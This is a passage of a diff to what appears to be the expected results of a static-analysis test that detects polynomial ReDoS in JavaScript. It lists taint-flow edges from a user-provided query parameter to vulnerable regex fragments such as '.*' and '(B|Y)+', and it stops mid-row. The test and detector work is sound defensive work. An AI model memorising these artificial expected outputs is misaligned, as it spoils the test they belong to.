+| polynomial-redos.js:81:2:81:8 | tainted | +| polynomial-redos.js:86:2:86:8 | tainted | +| polynomial-redos.js:86:2:86:8 | tainted | +| polynomial-redos.js:88:2:88:8 | tainted | +| polynomial-redos.js:88:2:88:8 | tainted | | polynomial-redos.js:89:2:89:8 | tainted | | polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:90:2:90:8 | tainted | +| polynomial-redos.js:90:2:90:8 | tainted | +| polynomial-redos.js:94:2:94:8 | tainted | +| polynomial-redos.js:94:2:94:8 | tainted | +| polynomial-redos.js:95:2:95:8 | tainted | +| polynomial-redos.js:95:2:95:8 | tainted | +| polynomial-redos.js:96:2:96:8 | tainted | +| polynomial-redos.js:96:2:96:8 | tainted | +| polynomial-redos.js:98:2:98:8 | tainted | +| polynomial-redos.js:98:2:98:8 | tainted | +| polynomial-redos.js:100:2:100:8 | tainted | +| polynomial-redos.js:100:2:100:8 | tainted | | polynomial-redos.js:101:2:101:8 | tainted | | polynomial-redos.js:101:2:101:8 | tainted | | polynomial-redos.js:102:2:102:8 | tainted | | polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:103:2:103:8 | tainted | +| polynomial-redos.js:103:2:103:8 | tainted | | polynomial-redos.js:104:2:104:8 | tainted | | polynomial-redos.js:104:2:104:8 | tainted | -| polynomial-redos.js:105:2:105:8 | tainted | -| polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:107:2:107:8 | tainted | +| polynomial-redos.js:107:2:107:8 | tainted | +| polynomial-redos.js:108:2:108:8 | tainted | +| polynomial-redos.js:108:2:108:8 | tainted | +| polynomial-redos.js:109:2:109:8 | tainted | +| polynomial-redos.js:109:2:109:8 | tainted | | polynomial-redos.js:111:2:111:8 | tainted | | polynomial-redos.js:111:2:111:8 | tainted | | polynomial-redos.js:112:2:112:8 | tainted | | polynomial-redos.js:112:2:112:8 | tainted | +| polynomial-redos.js:114:2:114:8 | tainted | +| polynomial-redos.js:114:2:114:8 | tainted | +| polynomial-redos.js:116:2:116:8 | tainted | +| polynomial-redos.js:116:2:116:8 | tainted | edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | @@ -105,6 +145,10 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:12:2:12:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:15:2:15:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:15:2:15:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:16:2:16:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:16:2:16:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:17:23:17:29 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:17:23:17:29 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:18:2:18:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:18:2:18:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:19:2:19:8 | tainted | @@ -113,8 +157,6 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:20:2:20:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:25:2:25:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:25:2:25:8 | tainted | -| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:27:77:27:83 | tainted | -| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:27:77:27:83 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:30:2:30:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:30:2:30:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:33:2:33:8 | tainted | @@ -125,6 +167,10 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:37:2:37:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:38:2:38:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:38:2:38:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:40:2:40:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:40:2:40:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:43:2:43:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:43:2:43:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:48:2:48:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:48:2:48:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:50:14:50:20 | tainted | @@ -145,6 +191,8 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:57:25:57:31 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:58:21:58:27 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:58:21:58:27 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:59:23:59:29 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:59:23:59:29 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:62:17:62:23 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:62:17:62:23 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:63:21:63:27 | tainted | @@ -157,26 +205,58 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:66:19:66:25 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:67:18:67:24 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:67:18:67:24 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:71:2:71:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:71:2:71:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:73:2:73:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:73:2:73:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:75:2:75:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:75:2:75:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:77:2:77:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:77:2:77:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:80:2:80:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:81:2:81:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:81:2:81:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:86:2:86:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:86:2:86:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:88:2:88:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:88:2:88:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:89:2:89:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:90:2:90:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:90:2:90:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:94:2:94:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:94:2:94:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:95:2:95:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:95:2:95:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:96:2:96:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:96:2:96:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:98:2:98:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:98:2:98:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:100:2:100:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:100:2:100:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:101:2:101:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:101:2:101:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:102:2:102:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:103:2:103:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:103:2:103:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:104:2:104:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:104:2:104:8 | tainted | -| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:105:2:105:8 | tainted | -| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:107:2:107:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:107:2:107:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:108:2:108:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:108:2:108:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:109:2:109:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:109:2:109:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:111:2:111:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:111:2:111:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:112:2:112:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:112:2:112:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:114:2:114:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:114:2:114:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:116:2:116:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:116:2:116:8 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url | @@ -188,19 +268,26 @@ edges | polynomial-redos.js:11:2:11:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:12:2:12:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:15:2:15:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:18:2:18:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:18:17:18:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:15:2:15:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:16:2:16:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:23:17:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:23:17:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:18:2:18:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:19:2:19:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:20:2:20:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:25:2:25:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:25:2:25:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:27:77:27:83 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:27:77:27:83 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:27:14:27:22 | [A-Z]{2,} | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:30:2:30:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:30:2:30:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:33:2:33:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:36:2:36:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:36:2:36:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:37:2:37:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:37:2:37:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:38:2:38:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:38:2:38:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:40:2:40:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:43:2:43:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:48:2:48:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:50:14:50:20 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:51:26:51:32 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | @@ -208,10 +295,12 @@ edges | polynomial-redos.js:53:21:53:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:53:21:53:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:54:22:54:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:54:22:54:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:55:23:55:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:56:22:56:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:57:25:57:31 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:58:21:58:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:59:23:59:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:62:17:62:23 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:63:21:63:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:64:24:64:30 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | @@ -219,15 +308,30 @@ edges | polynomial-redos.js:66:19:66:25 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:67:18:67:24 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This expensive $@ use depends on $@. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | +| polynomial-redos.js:71:2:71:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:73:2:73:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:75:2:75:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:75:2:75:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:77:2:77:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:80:2:80:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:81:2:81:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:86:2:86:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:88:2:88:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:89:2:89:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:90:2:90:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:94:2:94:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:95:2:95:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:96:2:96:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:98:2:98:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:100:2:100:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:101:2:101:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This 